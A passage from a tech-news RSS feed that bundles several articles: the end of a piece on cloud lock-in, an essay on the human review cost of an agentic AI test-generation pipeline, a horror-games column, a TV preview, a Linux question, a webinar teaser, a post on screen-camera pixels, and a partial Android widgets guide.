<h2 class="wp-block-heading">The financial reality will hit</h2>



<p class="wp-block-paragraph">The bills are going to come due, and they’re going to be painful. I’ve watched this pattern play out before. When enterprises lock into a single cloud provider through these embedded engineering programs, they often discover two or three years later that they’re paying premiums that their more independent-thinking competitors avoided.</p>



<p class="wp-block-paragraph">The reasons are straightforward. When you’re architecting systems around a single platform, you naturally fall into usage patterns that favor that platform’s pricing structures. You use their managed databases instead of portable alternatives. You adopt their AI services instead of evaluating third-party options. You build workflows that only work within their ecosystem. And when it comes time to renegotiate or benchmark against alternatives, you find that migrating would cost more than accepting whatever pricing they offer.</p>



<p class="wp-block-paragraph">I’ve spent the past decade helping companies untangle from these situations. I’ve seen organizations with cloud bills 15 to 20 times higher than they should be, unable to migrate because their entire AI infrastructure is built on proprietary services that only work on one platform. The forward deployed engineer programs are accelerating this problem. They’re making it easier to get into these situations and harder to get out.</p>



<h2 class="wp-block-heading">Think before you commit</h2>



<p class="wp-block-paragraph">Before you accept one of these programs, consider these three recommendations.</p>



<p class="wp-block-paragraph"><strong>First, require independent architecture oversight</strong> from day one. Hire or engage architects who work for your company, not for your cloud provider. They should evaluate every recommendation made by embedded engineers against business requirements and compare options across providers. This isn’t about being suspicious of the engineers. It’s about ensuring that decisions are made with your interests in mind.</p>



<p class="wp-block-paragraph"><strong>Second, demand a clear exit strategy</strong> before you begin. Ask the cloud provider to document which proprietary services you’re using, what migration paths exist, and what the cost would be to move to an alternative platform. If they can’t provide that information, or if the migration costs seem impossibly high, that’s a sign that you’re building technical debt that will be very expensive to service later.</p>



<p class="wp-block-paragraph"><strong>Third, benchmark your costs</strong> continuously. Set up internal processes to compare your cloud spending against industry benchmarks and against what your competitors might be paying for similar workloads. Don’t wait until your contract renewal to discover that you’re paying premium prices. Monitor expenses from the beginning, and be willing to challenge your cloud provider if you’re not getting value that justifies the cost.</p>



<h2 class="wp-block-heading">The bottom line</h2>



<p class="wp-block-paragraph">The forward deployed engineers are solving real problems. Enterprises genuinely struggle with AI deployment, and having experienced engineers available to help is valuable. I’m not suggesting these programs are fundamentally bad. However, they’re being marketed as neutral partnerships when they’re actually strategic sales programs designed to lock enterprises into specific platforms. The helpful engineers showing up at your office are building dependencies that will be very difficult to break. The “free” technical assistance is being funded by margins on services you’ll be buying for years.</p>



<p class="wp-block-paragraph">Go in with your eyes open. Use these programs but add your own independent oversight. Build architectures that you could leave if you needed to. And don’t let the immediate satisfaction of having problems solved today blind you to the financial consequences that will arrive tomorrow.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[What 80% AI-written test pipelines actually cost]]></title>
<description><![CDATA[The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?



After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the typing, not eighty percent o...]]></description>
<link>https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3671153/ai-nachrichten/what-80-ai-written-test-pipelines-actually-cost/</guid>
<pubDate>Wed, 15 Jul 2026 17:19:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">The first time I heard someone say their AI now wrote 80% of their tests, I asked the obvious question. Eighty percent of what?</p>



<p class="wp-block-paragraph">After 20 years building and leading test automation for consumer-scale platforms, my honest answer turned out to be eighty percent of the <em>typing</em>, not eighty percent of the <em>engineering</em>. The remaining twenty was where the work still lived. Budgeting for two percent of leftover effort was the mistake. When the real number was closer to thirty, that gap was the difference between a pipeline that shipped and one that quietly built up a queue of half-trusted features nobody could rely on.</p>



<p class="wp-block-paragraph">This piece is about that gap. As an independent research project on LLM-augmented testing methodology, I built a six-stage agentic pipeline that takes a design in Figma and produces running tests in WebDriverIO, connected end to end over the <a href="https://modelcontextprotocol.io/">Model Context Protocol</a>. It works. It has been useful. And the parts that broke surprised me, because they were not the parts the hype cycle tells you to worry about.</p>



<h2 class="wp-block-heading">How I wired a six-stage pipeline over one protocol</h2>



<p class="wp-block-paragraph">The pipeline runs six stages in sequence, each owned by a different agent, with every handoff crossing MCP.</p>



<p class="wp-block-paragraph">Six-stage agentic test pipeline: design capture → requirements writer → ticket opener → code generator → test-case writer → automation generator. Each stage carries an MCP handoff and a provenance stamp.</p>



<p class="wp-block-paragraph">The end-to-end trace links a pull request back to a Jira ticket, a requirements section and a Figma frame. Each artifact is stamped with the agent that produced it, the model it used and the inputs it was given.</p>



<p class="wp-block-paragraph">MCP is the boring middle that makes any of this work. The cliché is that MCP is “USB-C for AI”: one open protocol, any tool. Like most analogies, it is about eighty percent right. The part that matters is the eighty: I do not have to write a custom adapter for every system the agent talks to. One MCP server per tool and every agent talks to all of them the same way.</p>



<p class="wp-block-paragraph"><strong>Typed handoffs between agents are my own architecture, layered on top of MCP rather than provided by it.</strong> Each agent writes a typed artifact the next agent reads. Each handoff is logged with provenance. When something went wrong six stages in, I could replay the chain. Without that discipline, a multi-agent pipeline is a debugger’s worst day. You know the test plan is wrong. You cannot tell whether the mistake came from the Figma read, the requirements interpretation or the ticket scaffolding. With it, I could point at exactly which stage went sideways and which inputs it was looking at when it did. The pattern lives in a <a href="https://github.com/SuneetMalhotra/agent-harness">public MIT-licensed reference implementation</a> for any reader who wants to run it.</p>



<p class="wp-block-paragraph"><strong>The sixteen-minute number is the marketing number.</strong> I ran the full chain end to end in about sixteen minutes on a synthetic net-new screen, Figma in, automation suite out. That repeated across my runs; it is not a demo trick. But sixteen minutes is the part of the story most fun to tell and least useful to learn from. It is what gets quoted in the all-hands. The hours that come after, when a human reviews each handoff, are where the work actually lives.</p>



<h2 class="wp-block-heading">What actually broke in production-style runs</h2>



<p class="wp-block-paragraph">The failures that stalled my pipeline were rarely the ones I expected.</p>



<p class="wp-block-paragraph">I expected hallucinated APIs. I got them: the agent confidently called endpoint names that sounded right but did not exist. I expected sparse-spec-in, sparse-spec-out, where a Figma frame with no annotations produced a requirements doc with vague acceptance criteria, every time. I expected locator drift, the common UI-automation failure mode where a renamed component silently breaks an entire test suite. There is solid <a href="https://martinfowler.com/articles/nonDeterminism.html">outside writing on non-determinism in tests</a> covering this whole family of failure modes, and the agent inherited every one.</p>



<p class="wp-block-paragraph">What I did not expect, and what kept the pipeline down longer than any of the above, was the plumbing.</p>



<p class="wp-block-paragraph">The model backend timed out under load. It lost credentials silently and started returning empty strings, which the agent then read as confidence. A duplicate consumer on a shared long-poll API endpoint produced an HTTP 409 conflict that broke delivery without throwing anything visible. One unguarded exception inside one agent aborted a whole shared scheduler run and took the other agents in the registry down with it. The single worst incident cost me three hours to find. An environment variable had silently rotated overnight; every agent in the fleet was returning structurally valid but semantically empty requirements docs; the downstream stages were dutifully generating tests against nothing.</p>



<p class="wp-block-paragraph">None of those are model bugs. They are infrastructure. The agent literature, which is what I went looking through when I started this work, mostly does not talk about them.</p>



<p class="wp-block-paragraph">The fix was not better prompts. It was <a href="https://martinfowler.com/bliki/CircuitBreaker.html">circuit-breaker-style</a> review checkpoints between stages and what I now call <strong>the four-guard discipline</strong>: four small guards I consider non-negotiable on any unattended agentic pipeline. The bulkhead pattern from microservices is the most consequential. An unhandled exception inside one agent can no longer abort the shared run; the offending agent fails fast with a structured error and the others keep going. Paired with that, a pure-data fallback ensures a model timeout produces a deterministic output explicitly marked as degraded mode, rather than an empty string the next stage will misread as confidence. A single-owner lease sits on every shared external endpoint, the cure for the duplicate-consumer incident that ate one of my Sunday afternoons. The cheapest guard was the last to arrive: a one-line synthetic canary every agent has to produce a known correct response to before any real work begins, so a credentials rotation or silent backend failure trips an alert before downstream stages have generated artifacts against garbage.</p>



<p class="wp-block-paragraph">None of these guards is novel. They are textbook stability patterns at a new boundary: the seam between the LLM agent and the rest of the system, which most of the existing agent literature still treats as a solved problem.</p>



<h2 class="wp-block-heading">The 20% you don’t see, and when not to do this</h2>



<p class="wp-block-paragraph">Here is the part the demo videos leave out. Even when the pipeline works, the human time per stage does not go to zero.</p>



<p class="wp-block-paragraph">Human review time per ticket across five pipeline stages: code review 60-180 min, automation review and flaky-fix loop 30-90 min, ticket architecture and sequencing 30-60 min, test data and environment 15-30 min, requirements review 20-30 min. Net: the human still spends 20-30% of the original effort, almost all of it reviewing rather than creating.</p>



<p class="wp-block-paragraph"><strong>Net of all that, the human still spends twenty to thirty percent of the original effort, almost all of it reviewing rather than creating.</strong> The pipeline saves seventy to eighty percent, not ninety-eight. The trap is budgeting for the two percent you do not save.</p>



<p class="wp-block-paragraph">When does this kind of pipeline make sense? In my experience, when the Figma is richly annotated and acceptance criteria are clear up front; when there is review capacity to absorb the work the pipeline shifts onto humans; when the stack is well represented in the training data; and when the feature is net-new rather than a deep edit of legacy code. When does it not? When the design lives on a whiteboard. When the integration touches old code with hidden contracts. When the path is regulated or safety-critical. When there is no senior reviewer who can hold the line. When the work is exploratory and writing the spec is the actual point of the exercise.</p>



<p class="wp-block-paragraph">Teams I have seen succeed with agentic pipelines budget for the rework explicitly, staff the review queue and treat the saved hours as capacity for harder problems rather than headcount they can release. Teams I have seen struggle did the opposite: declared victory at the demo and quietly accumulated a backlog of half-trusted features the next quarter had to clean up.</p>



<p class="wp-block-paragraph">The right unit of measurement is not how much the pipeline generates. It is how much of what it generates a human still has to touch before you would ship it. Call it <strong>the 80/20 rework rule</strong>: measure the rework, not the generation. The teams that get the rework number right are the ones whose AI investments compound. The teams that stop counting at the headline percentage are the ones that own the cleanup six months later.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.infoworld.com/expert-contributor-network/"><strong><u>Want to join?</u></strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zombies, gore and creepy kids – why we can’t stop playing horror games]]></title>
<description><![CDATA[As global anxieties multiply, ​v​ideo games from Resident Evil to Mouthwashing are providing rich source material to help decode society’s problems• Don’t get Pushing Buttons delivered to your inbox? Sign up hereHorror is so hot right now. There’s Obsession, Evil Dead Burn and Hokum in the cinema...]]></description>
<link>https://tsecurity.de/de/3670928/it-nachrichten/zombies-gore-and-creepy-kids-why-we-cant-stop-playing-horror-games/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670928/it-nachrichten/zombies-gore-and-creepy-kids-why-we-cant-stop-playing-horror-games/</guid>
<pubDate>Wed, 15 Jul 2026 16:18:25 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>As global anxieties multiply, ​v​ideo games from Resident Evil to Mouthwashing are providing rich source material to help decode society’s problems</p><p><strong>• </strong><a href="https://www.theguardian.com/info/ng-interactive/2021/nov/24/sign-up-for-pushing-buttons-keza-macdonalds-weekly-look-at-the-world-of-gaming"><strong>Don’t get Pushing Buttons delivered to your inbox? Sign up here</strong></a></p><p>Horror is <a href="https://www.theguardian.com/culture/2026/jun/05/horrors-hollywood-takeover-is-an-exciting-moment-but-wont-someone-think-of-the-squeamish">so hot right now</a>. There’s Obsession, Evil Dead Burn and Hokum in the cinema, Widow’s Bay, From and Something Very Bad Is Going to Happen on TV, and, of course, a rotting smorgasbord of horror games including <a href="https://www.theguardian.com/games/2026/feb/26/resident-evil-requiem-review-theres-plenty-of-life-in-the-undead-yet">Resident Evil Requiem</a> (pictured top) and <a href="https://www.theguardian.com/games/2026/feb/11/reanimal-review">Reanimal</a>, soon to be joined by Silent Hill: Townfall, Silver Pines and Dreadmoor. We’re also seeing weird cross-pollinations, with horror movie studio Blumhouse making games, while games themselves become horror films and <a href="https://www.theguardian.com/film/2026/may/27/backrooms-review-kane-parsons-icily-disturbing-horror-rewrites-the-genre-rulebook">the whole backrooms genre</a> infects every medium it touches.</p><p>So it was fascinating to attend last week’s horror and gaming conference at Falmouth University, in Cornwall: a gathering of students, researchers and lecturers, all engaged in the academic study of horror games. There were brilliant talks on zombies and posthumanism, the gothic in games, and the role of monstrous little girls in survival horror (there are a lot of them!). Subjects as diverse as masculine fragility, disability and ageing came up; Will Doyle, creative director at Supermassive Games, gave a great keynote on the art of creating horror in games using tools such as revulsion, spatial alienation and the human instinct of <a href="https://www.theguardian.com/world/2023/apr/13/are-coincidences-real">apophenia</a>. I learned a lot about theorists such as Julia Kristeva and Mark Fisher, and about the technical similarities between indie horror games and film noir (for example, the use of darkness and creative camera techniques to “hide” budget restrictions). It was incredible fun.</p> <a href="https://www.theguardian.com/games/2026/jul/15/pushing-buttons-horror-game-cultural-crisis-scholars">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Sugar Season 2 Episode 5 Preview: Can Sugar Find Ji Before It Is Too Late?]]></title>
<description><![CDATA[Sugar Season 2 Episode 5 will continue John Sugar’s dangerous search for Ji Moon as Lieutenant Ray Vega closes in on both men. After the risky plan seen in Episode 4, Sugar must find a way to protect Ji while exposing the corruption surrounding his disappearance.




Release date: July 17, 2026

...]]></description>
<link>https://tsecurity.de/de/3670872/ios-mac-os/sugar-season-2-episode-5-preview-can-sugar-find-ji-before-it-is-too-late/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670872/ios-mac-os/sugar-season-2-episode-5-preview-can-sugar-find-ji-before-it-is-too-late/</guid>
<pubDate>Wed, 15 Jul 2026 15:55:48 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Sugar Season 2 Episode 5 will continue John Sugar’s dangerous search for Ji Moon as Lieutenant Ray Vega closes in on both men. After the risky plan seen in Episode 4, Sugar must find a way to protect Ji while exposing the corruption surrounding his disappearance.




Release date: July 17, 2026



Episode title: “Unknowns”



Streaming platform: Apple TV



Genre: Neo-noir, mystery, thriller and science fiction



Season length: Eight episodes



Expected duration: Around 40 to 50 minutes



Main cast: Colin Farrell, Jin Ha, Raymond Lee, Tony Dalton, Laura Donnelly, Sasha Calle and Shea Whigham



Release schedule: New episodes arrive every Friday




Apple TV began releasing Sugar Season 2 on June 19, with the finale scheduled for August 7. Episode 5, therefore, marks the beginning of the second half of the season.



Sugar Season 2 Episode 5 Preview



Spoilers ahead for Sugar Season 2 Episode 4.



Sugar’s search for Ji took a dangerous turn after he confronted Vega and made it clear that he knew about the police officer’s involvement in the case. Vega has connections inside the department, which makes it difficult for Sugar to trust the authorities or ask them for help.



Episode 4 also revealed why Ji became a target. Ji had witnessed Vega killing a gang member, leaving Vega desperate to silence him before the truth became public. Sugar eventually used a fake overdose to fool Vega’s men before reviving Ji with Narcan. The plan saved Ji temporarily, but it also showed how far Sugar must go to keep him alive.



Episode 5 will likely follow Sugar as he tries to move Ji to a safer location. Vega now knows that Sugar has become a serious threat, so he could use his police resources to track them down. Sugar must stay ahead of him while convincing Ji to reveal everything he saw.



Can Sugar Keep Ji Safe From Vega?



Ji remains the most important witness in the investigation. His testimony could connect Vega to the murder and expose a larger network of corruption within the Los Angeles Police Department.



However, keeping Ji alive will become increasingly difficult. Vega has already shown that he can manipulate witnesses, use other officers and arrange traps without drawing attention to himself. His meeting with Hannah also proved that anyone connected to Ji can become a target.



Sugar may need help from Val or another unexpected ally to move Ji before Vega finds their location. Charlotte could also become more involved after investigating Sugar’s private life, although her true intentions remain uncertain.



Vega Could Turn the Investigation Against Sugar



Vega may try to portray Sugar as a criminal who kidnapped Ji or interfered with an official investigation. Since Sugar directly challenged him during their interrogation, Vega now has a personal reason to destroy his reputation.



Tony Dalton’s Vega has developed into Sugar’s main opponent, combining police authority with calculated violence. Their conflict should become even more intense in Episode 5 as Sugar searches for evidence that can support Ji’s account.



At the same time, Sugar continues searching for his missing sister, Djen. The Ji Moon case could eventually connect with that larger mystery, especially as the season explores a conspiracy stretching across Los Angeles and possibly beyond Earth.



Sugar Season 2 Episode 5 arrives on Apple TV on July 17. Do you think Sugar can keep Ji safe and expose Vega, or will the corrupt officer reach them first? Let us know in the comments.]]></content:encoded>
</item>
<item>
<title><![CDATA[Seriously, except package managers, what's the difference between distros?]]></title>
<description><![CDATA[What I've seen yet the differences are, just the package managers, different defaults and rolling vs stable releases which are in fact related to package managers. Except these, are there really any other differences? Thanks!    submitted by    /u/nitin_is_me   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3670834/linux-tipps/seriously-except-package-managers-whats-the-difference-between-distros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670834/linux-tipps/seriously-except-package-managers-whats-the-difference-between-distros/</guid>
<pubDate>Wed, 15 Jul 2026 15:40:56 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>What I've seen yet the differences are, just the package managers, different defaults and rolling vs stable releases which are in fact related to package managers. Except these, are there really any other differences? Thanks!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/nitin_is_me"> /u/nitin_is_me </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1ux5vns/seriously_except_package_managers_whats_the/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1ux5vns/seriously_except_package_managers_whats_the/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[New Webinar: Closing the Approval Gap in AI-Era Ad Tech]]></title>
<description><![CDATA[A single approved marketing tag can quietly load fourth-party code your security team has never seen, granting full access to your forms, customer data, and checkout pages.

This on-demand webinar reveals how this Approval Gap forms, and gives your team the blueprint to close it before an auditor...]]></description>
<link>https://tsecurity.de/de/3670708/it-security-nachrichten/new-webinar-closing-the-approval-gap-in-ai-era-ad-tech/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670708/it-security-nachrichten/new-webinar-closing-the-approval-gap-in-ai-era-ad-tech/</guid>
<pubDate>Wed, 15 Jul 2026 14:51:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A single approved marketing tag can quietly load fourth-party code your security team has never seen, granting full access to your forms, customer data, and checkout pages.

This on-demand webinar reveals how this Approval Gap forms, and gives your team the blueprint to close it before an auditor, regulator, or attacker finds it first.

The Reality of the Approval Gap

It's a pattern every]]></content:encoded>
</item>
<item>
<title><![CDATA[A Video Screen That Is Also a Camera]]></title>
<description><![CDATA[Amazing:
Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by man...]]></description>
<link>https://tsecurity.de/de/3670412/it-security-nachrichten/a-video-screen-that-is-also-a-camera/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670412/it-security-nachrichten/a-video-screen-that-is-also-a-camera/</guid>
<pubDate>Wed, 15 Jul 2026 13:09:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://gizmodo.com/newly-invented-pixel-could-turn-screens-into-cameras-2000777917">Amazing</a>:</p>
<blockquote><p>Researchers from ETH Zurich in Switzerland, however, managed to create a new type of pixel that can simultaneously do both. This hypercharged pixel, called a Fourier pixel, can generate and sense arbitrary light fields and tap into a pixel’s full potential for carrying information by manipulating light’s intensity, oscillation phases, and polarization. The team reported its findings in a paper published yesterday in Nature.</p></blockquote>
<p>We are one step closer to <i>1984</i> technology:</p>
<blockquote><p>The telescreen received and transmitted simultaneously. Any sound that Winston made, above the level of a very low whisper, would be picked up by it; moreover, so long as he remained within the field of vision which the metal plaque commanded, he could be seen as well as heard. There was of course no way of knowing whether you were being watched at any given moment...</p></blockquote>]]></content:encoded>
</item>
<item>
<title><![CDATA[5 wild ways to make Android widgets more useful]]></title>
<description><![CDATA[Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?



Okay, so maybe there has been — erm, lots of times, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google ba...]]></description>
<link>https://tsecurity.de/de/3670233/it-nachrichten/5-wild-ways-to-make-android-widgets-more-useful/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3670233/it-nachrichten/5-wild-ways-to-make-android-widgets-more-useful/</guid>
<pubDate>Wed, 15 Jul 2026 12:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Widgets, widgets, widgets. Has there ever been an Android feature so full of promise that went unloved by Google for so very long?</p>



<p class="wp-block-paragraph">Okay, so maybe there has been — erm, <a href="https://www.computerworld.com/article/1714997/android-features-faded.html">lots of times</a>, actually. But even so, Android’s widgets system is a perfect example of an exceptional advantage that Google basically buried, abandoned, and left on the brink of extinction up until its overdue revival in 2021’s <a href="https://www.computerworld.com/article/1616489/24-advanced-tips-for-android-12.html">Android 12 update</a>. (And that revival, by the way, happened for no apparent reason whatsoever. Just a totally random, unprompted change of heart after a decade of indifference. <a href="https://www.computerworld.com/article/1639159/android-missed-opportunity.html">Riiiiiiiiight</a>.)</p>



<p class="wp-block-paragraph">Google may have given up on widgets for a while, but the good news is that (a) they’re back, baby — still now, more than ever, even in <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">our overly AI-obsessed 2026 timeline</a> — and (b) the Android developer community keeps chuggin’ along and coming up with ever-more creative new ways to embrace widgets beyond what Google itself sees fit to give us. That means no matter what <a href="https://www.computerworld.com/article/1714347/android-versions-a-living-history-from-1-0-to-today.html">Android version</a> your favorite phone is running, you can step up your own Android widget game and give yourself some fresh and fruitful paths to make the most of your phone’s framework.</p>



<p class="wp-block-paragraph">Here, my dear, are some fantastic beyond-the-basics ways to put <a href="https://www.computerworld.com/article/1699499/best-android-widgets-for-busy-professionals.html">your favorite Android widgets</a> to use and change the way you get stuff done on your phone. </p>



<p class="wp-block-paragraph"><strong>[Psst: Love learning new things?</strong> <a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><strong>Get my free Android Intelligence newsletter</strong></a><strong> to get a tasty new tip in your inbox every Friday.]</strong></p>



<h2 class="wp-block-heading">Android widget enhancement #1: The on-demand home screen pop-up</h2>



<p class="wp-block-paragraph">Widgets are a wonderful way to interact with all sorts of info without ever having to open up apps, but having too many widgets can quickly lead to a cluttered and overwhelming home screen.</p>



<p class="wp-block-paragraph">Well, here’s a neat way to give yourself the benefit of a widget while still maintaining a neat and minimal space for working: An excellent app called <a href="https://play.google.com/store/apps/details?id=com.ss.popupWidget" target="_blank" rel="noreferrer noopener">Popup Widget</a> lets you create an on-demand pop-up widget (get it?!) that looks like a regular ol’ icon on your home screen but then loads any widget you want when tapped.</p>



<p class="wp-block-paragraph">See?</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-popup-widget-1.webp" alt="Android widgets: Popup Widget (1)" class="wp-image-4196884" width="800" height="835" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Any widget, anytime — with Popup Widget on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">You can even get <em>really</em> wild and set up a single icon that opens <em>multiple</em> widgets at the same time — like your inbox and your calendar together:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-popup-widget-2.webp" alt="Android widgets: Popup Widget (2)" class="wp-image-4196885" width="800" height="837" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Popup Widget can even let you summon two widgets together with a single tap.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">Not bad, right?</p>



<p class="wp-block-paragraph">Popup Widget costs two bucks and doesn’t require any special permissions or manners of access. And it’s pretty simple and self-explanatory to set up: Once you install and open the app, it’ll walk you through adding in whatever pop-up widgets you want. You can choose the name and even the icon associated with each one along with its precise placement on your screen and how much the screen behind it should dim when it’s loaded.</p>



<p class="wp-block-paragraph">The app will offer to add the shortcut directly onto your home screen for you then, or you can also find all of your Popup Widget creations by pressing and holding the main Popup Widget icon in your app drawer.</p>



<p class="wp-block-paragraph">Alternatively, if you’re already using <a href="https://www.computerworld.com/article/1723954/android-launchers-for-enhanced-efficiency.html">a custom Android launcher</a> like <a href="https://play.google.com/store/apps/details?id=ginlemon.flowerfree&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Smart Launcher</a> or <a href="https://play.google.com/store/apps/details?id=bitpit.launcher" target="_blank" rel="noreferrer noopener">Niagara</a>, you can find similar options for summoning widgets on demand within their settings — no separate apps even required.</p>



<p class="wp-block-paragraph">And that, my widget-loving wallaby, is but our first winning widget possibility.</p>



<h2 class="wp-block-heading">Android widget enhancement #2: The on-demand universal pop-up</h2>



<p class="wp-block-paragraph">If you like the idea of having a widget on demand but would rather have it be available to summon from <em>anywhere</em> instead of just from your home screen, this next wacky widget option is just the thing for you.</p>



<p class="wp-block-paragraph">It comes from a spectacular app called <a href="https://play.google.com/store/apps/details?id=com.ss.edgegestures" target="_blank" rel="noreferrer noopener">Edge Gestures</a>, which works in conjunction with Popup Widget to take that same concept and make it universally accessible. (I told ya it was wacky!)</p>



<p class="wp-block-paragraph">When you first install Edge Gestures, the app will prompt you to enable it as a system accessibility service and to grant it the ability to display over other apps. These permissions sound scary — and <a href="https://www.computerworld.com/article/1613704/android-security-warning.html">they should</a>! — but in the case of this specific utility, they’re absolutely appropriate and necessary in order for it to operate. The former is the only way an app is able to create a custom system-wide gesture, which we need for this setup to work its magic, and the latter is how your widget is able to be shown on top of whatever else you’re doing.</p>



<p class="wp-block-paragraph">(If you’re at all worried, note that Edge Gestures doesn’t request any other significant system permissions. Beyond that, it’s reputable, it’s been around for quite a long while, and it has a large number of overwhelmingly positive reviews.)</p>



<p class="wp-block-paragraph">Where were we? Oh, right: Once you’re inside the Edge Gestures configuration area, you’ll be able to select exactly what gesture you want to use for pulling up your widget. I’d think carefully about finding something that won’t interfere with anything else, like the system-level <a href="https://www.computerworld.com/article/1658581/android-gestures.html">Android gestures</a>, and that’ll be convenient to access without being a command you’re likely to trigger by mistake.</p>



<p class="wp-block-paragraph">So, for instance, you might make the gesture a simple swipe downward along the left side of your screen. To do that, you’d find the “Swipe down” option within the app’s “Left” tab, and you’d set it to “Popup Widget” — and then create or select whatever Popup Widget item you want. And remember: You can select one widget or <em>multiple</em> widgets, too.</p>



<p class="wp-block-paragraph">Prepare yourself for some serious oohing and ahhing:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/android-widgets-edge-gestures.webp" alt="Android widgets: Edge Gestures" class="wp-image-4196887" width="800" height="855" sizes="auto, (max-width: 800px) 100vw, 800px"><figcaption class="wp-element-caption">Your favorite widgets are never more than a swipe away with Edge Gestures on Android.</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">As you can see, this opens up a whole new world of mobile multitasking potential. I mean, really: How could you <em>not</em> love that?!</p>



<p class="wp-block-paragraph">The final thing worth doing is going into all the <em>other</em> gesture options in that same configuration area and tapping “Clear” for each of ’em to get rid of Edge Gestures’ default actions. I’d also go into whichever side of the screen you <em>aren’t</em> using — left or right — and tap the toggle to turn the gestures for that side off entirely. That way, you won’t inadvertently activate any gestures that you don’t actually want or need.</p>



<p class="wp-block-paragraph">Edge Gestures costs $2 to use.</p>



<h2 class="wp-block-heading">Android widget enhancement #3: The physical key call</h2>



<p class="wp-block-paragraph">Next, here’s an interesting twist on that same on-demand Android widget idea: You can make any widget especially easy to access from anywhere without even having to mess around with any on-screen swiping by setting one of your phone’s <em>physical keys</em> as a trigger for the widget’s appearance.</p>



<p class="wp-block-paragraph">I’ll give you a second to catch your breath and process the sheer splendor of that sorcery.</p>



<p class="wp-block-paragraph">Back? Cool. So, the <em>key</em> to this feat (har har) is the combination of the aforementioned Popup Widget and a handy Android contraption called <a href="https://play.google.com/store/apps/details?id=io.github.sds100.keymapper&amp;hl=en_US" target="_blank" rel="noreferrer noopener">Key Mapper</a> — which makes it easy to map your phone’s physical keys to all kinds of crazy custom actions.</p>



<p class="wp-block-paragraph">In this case, we’ll set it up so that pressing and <em>holding</em> one of your volume keys causes whatever widget you want to be summoned, like so:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2024/06/floating-android-widget.webp" alt="Floating Android widget" class="wp-image-2144001" width="700" height="722" sizes="auto, (max-width: 700px) 100vw, 700px"><figcaption class="wp-element-caption">Yes, your volume key can cause a widget to appear (whoa!).</figcaption></figure><p class="imageCredit">JR Raphael, Foundry</p></div>



<p class="wp-block-paragraph">Pretty nifty, no?</p>



<p class="wp-block-paragraph">I’ve got step-by-step instructions for making this happen in <a href="https://www.computerworld.com/article/2143971/android-widgets-floating.html">this separate guide</a>.</p>



<h2 class="wp-block-heading">Android widget enhancement #4: The floating bubble</h2>



